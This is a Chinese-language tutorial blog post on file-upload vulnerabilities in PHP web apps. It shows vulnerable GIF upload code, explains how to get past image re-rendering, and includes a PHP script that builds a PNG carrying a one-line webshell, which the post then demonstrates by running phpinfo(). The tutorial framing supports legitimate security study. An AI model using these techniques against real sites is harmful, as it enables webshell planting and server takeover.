文件上传漏洞

目录

1、原理

2、复现

[2.1 .gif文件上传](#2.1 .gif文件上传)

[2.2 png的上传](#2.2 png的上传)


1、原理

文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。

文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。

2、复现

2.1 .gif文件上传

关于.gif 的源码

复制代码
else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

源码分析:我们可以看到fileext 和 filetype 是来判断是否为.gif 格式

使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。

1)首先准备一个.gif 文件将web.php 中的 <?php phpinfo(); ?>融合,如图所示我们将a.gif 文件与web.php 合成了一个b.gif

用使用16进制编辑器将b.gif打开,我们可以看到 phpinfo();

2)上传b.gif 文件,上传之后我们再次下载上传后的图像地址,

我们再次使用16进制打开,可以看到被渲染的图片里面已经没有 phpinfo();

3)关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

然后我们包含一下,可以看到已经成功。

2.2 png的上传

1)首先创建一个php文件,在同一级目录下放一个1.png的图片

复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1111.png');
?>

然后运行此文件,的到1111.png

我们使用记事本打开此文件,有一句话木马

然后我们上传:

我们可以看到phpinfo(); 执行成功

相关推荐
谅望者1 小时前
数据分析笔记04:抽样方法与抽样分布
数据库·笔记·数据挖掘·数据分析
d111111111d2 小时前
STM32外设学习-串口数据包笔记-(数据包的了解)
笔记·stm32·单片机·嵌入式硬件·学习
立志成为大牛的小牛3 小时前
数据结构——四十二、二叉排序树(王道408)
数据结构·笔记·程序人生·考研·算法
wdfk_prog8 小时前
[Linux]学习笔记系列 -- [kernel]kthread
linux·笔记·学习
鸽子一号11 小时前
c#笔记之面向对象
笔记
偷偷的卷11 小时前
【算法笔记 11】贪心策略六
笔记·算法
河铃旅鹿12 小时前
Android开发-java版:布局
android·笔记·学习
im_AMBER13 小时前
React 18
前端·javascript·笔记·学习·react.js·前端框架
yun685399213 小时前
读书之反思系统架构设计原则_个人笔记
笔记
d111111111d15 小时前
STM32中为什么会有APB1和APB2两个外设有什么区别
笔记·stm32·单片机·嵌入式硬件·学习